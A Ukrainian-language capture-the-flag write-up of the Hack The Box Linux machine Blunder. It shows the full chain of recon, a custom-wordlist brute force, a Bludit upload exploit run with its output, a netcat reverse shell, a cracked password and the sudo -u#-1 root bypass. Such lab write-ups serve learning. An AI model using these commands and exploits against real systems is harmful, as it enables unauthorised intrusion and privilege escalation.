Стартуємо з Blunder - Linux машини легкого рівня.


Розвідка

Збір інформації почнемо з autorecon:

$ autorecon x.x.x.x --single-target --no-port-dirs

Результат Nmap:

PORT   STATE  SERVICE REASON       VERSION
21/tcp closed ftp     conn-refused
80/tcp open   http    syn-ack      Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA

Результат feroxbuster:

500      GET        2l        4w       28c http://x.x.x.x/bl-themes/blogx/
200      GET        2l     1276w    88145c http://x.x.x.x/bl-kernel/js/jquery.min.js
200      GET        6l     1963w   155712c http://x.x.x.x/bl-kernel/css/bootstrap.min.css
200      GET      115l      200w     1404c http://x.x.x.x/bl-themes/blogx/css/style.css
200      GET        6l       30w     1894c http://x.x.x.x/bl-themes/blogx/img/favicon.png
200      GET        6l      987w    78586c http://x.x.x.x/bl-kernel/js/bootstrap.bundle.min.js
200      GET      170l      918w     7562c http://x.x.x.x/
200      GET       28l       28w      563c http://x.x.x.x/.gitignore
200      GET      170l      918w     7562c http://x.x.x.x/0
200      GET       21l      171w     1083c http://x.x.x.x/LICENSE
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/img/favicon.png
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/css/bootstrap.min.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/js/bootstrap.bundle.min.js
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/text/css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/js/jquery.min.js
200      GET       70l      157w     2385c http://x.x.x.x/admin/image/x-icon
200      GET       70l      157w     2385c http://x.x.x.x/admin/
200      GET        1l        5w       30c http://x.x.x.x/install.php
200      GET        2l        4w       22c http://x.x.x.x/robots.txt
200      GET        4l       23w      118c http://x.x.x.x/todo.txt

Передивившись знахідки, можна відмітити для себе логін форму у CMS Bludit і todo.txt файл, у якому згадується такий собі fergus. Спроба перебору паролів за допомогою hydra з використанням кількох словників для користувача fergus не принесла бажаного результату.

Наступний крок - перевірити публічні експлойти для даної CMS(переглянувши HTML код вебсторінки, бачимо що версія аплікації 3.9.2). Знаходимо те, що нам потрібно в Exploit-DB Bludit 3.9.2 - Auth Bruteforce Bypass - PHP webapps Exploit і Bludit 3.9.2 - Directory Traversal - Multiple webapps Exploit.

CVE-2019-17240 - bl-kernel/security.class.php у Bludit 3.9.2 дозволяє атакуючому обійти механізм захисту від атак методом прямого перебору шляхом підробки X-Forwarded-For або Client-IP HTTP заголовків. Більше деталей тут.

CVE-2019-16113 - bl-kernel/ajax/upload-images.php у Bludit 3.9.2 має вразливість, яка дозволяє атакуючому здійснити віддалене виконання коду. Зловмисник може завантажити jpg/png файл, що містить PHP код і виконати його, перейшовши за посиланням на завантажений файл(наприклад ../bl-content/tmp/temp/evil.png)


Первинне проникнення

На щастя, добра людина створила код, який поєднує експлуатацію обох цих вразливостей(не забудьте запустити netcat/інший інструмент на ваш смак у режимі прослуховування порту). Однак, запустивши скрипт декілька разів з різними словниками, правильний пароль так і не був знайдений. Кілька разів вже попадалась на цьому на інших машинах - скоріше за все потрібен кастомізований словник, який можна згенерувати за допомогою cewl:

$ cewl http://x.x.x.x --with-numbers | grep -v CeWL  >> custom-wordlist.txt

Згенерований словник спрацював чудово, ми знайшли пароль для користувача fergus і отримали reverse shell з нашого таргету.

$ python3 poc.py                                                                                  
     _____      _    ______  _____  _____
    |  __ \    | |   | ___ \/  __ \|  ___|
    | |  \/ ___| |_  | |_/ /| /  \/| |__
    | | __ / _ \ __| |    / | |    |  __|
    | |_\ \  __/ |_ _| |\ \ | \__/\| |___
     \____/\___|\__(_)_| \_| \____/\____/

    This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target.

    Created by: kisho64 (@h_a_m_i__)
    
Enter target URL (i.e. https://target.com): http://x.x.x.x
[ ~ ] Enter listener's IP: y.y.y.y
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...

[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username): fergus
[ ~ ] Enter the location for password list: custom-wordlist.txt

[ * ] Tried: somepass
[ * ] Tried: anotherpass
[ * ] Tried: morepass
[ * ] Tried: passwordagain
[ + ] Creds found: fergus:correctpassword

[...] Attempting to login now...
[ + ] Login succeed... We are good to go :)

[ + ] The payload hPCHDONKfL.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...

[...] Attempting to get a shell... @ http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
[ + ] You should be getting a shell by now, if not open http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 43584
bash: cannot set terminal process group (1253): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$

Горизонтальне підвищення привілеїв

Озирнувшись трохи довкола, бачимо, що на машині є два облікових записи; user.txt файл знаходиться у домашній директорії користувача hugo і ми не маємо до неї доступу як www-data. Проінспектувавши цікаві файли в директорії, натрапляємо на /var/www/bludit-3.9.2/bl-content/databases/users.php файл, який містить хешовані(SHA-1) паролі для користувачів admin і fergus. Спроба отримати пароль для адміністратора не принесла результатів, тому рухаємось далі. Продовжуючи дослідження, бачимо, що /var/www/ містить директорію для новішої версії Bludit. Перевіряємо users.php файл для цієї версії і знаходимо хеш пароля для користувача hugo:

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
.....

Цей хеш не піддався hashcat(не всі словники панацея), зате Crackstation впорався чудово і тепер ми маємо пароль для користувача hugo.

www-data@blunder:/$ python3 -c 'import pty;pty.spawn("/bin/bash");'   
www-data@blunder:/$ su - hugo
Password: hehehe

hugo@blunder:~$

Вертикальне підвищення привілеїв

Підвищення привілеїв до root на цій машині виявилось доволі швидким. Переглянемо список команд, які користувач hugo може виконувати з правами супер користувача:

hugo@blunder:~$ sudo -l
Password: hehehe

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Нас цікавить останній рядок, скористаємось гугл-пошуком і одразу знаходимо sudo 1.8.27 - Security Bypass в Exploit-DB.

CVE-2019-14287 - вразливість у версіях Sudo <1.8.28, яка дозволяє користувачам обійти механізми безпеки sudo і підвищити свої привілеї у системі; дозволяє sudo-користувачам виконувати команди як root, навіть якщо налаштування явно забороняють це.

Налаштування для користувача hugo говорять нам, що він може запускати /bin/bash як будь-який інший користувач, окрім root. Спробуємо застосувати знайдену техніку обходу цих налаштувань і отримуємо доступ до root:

hugo@blunder:~$ sudo -u#-1 /bin/bash
Password: hehehe

root@blunder:/home/hugo# cd /root
root@blunder:/root# ls
log  reset.sh  root.txt  snap

Після вирішення машини(або навіть під час, якщо застряг) буває корисно і цікаво подивитись проходження від більш тямущих людей, щоб глибше зрозуміти технічні деталі та моменти, які проґавив.

Легенда

Поділись своїми ідеями в новій публікації.
Ми чекаємо саме на твій довгочит!
hexa
hexa@hexa

Cyber-дилетант

3Прочитань
3Автори
0Читачі
На Друкарні з 15 червня

Вам також сподобається

Коментарі (0)

Підтримайте автора першим.
Напишіть коментар!

Вам також сподобається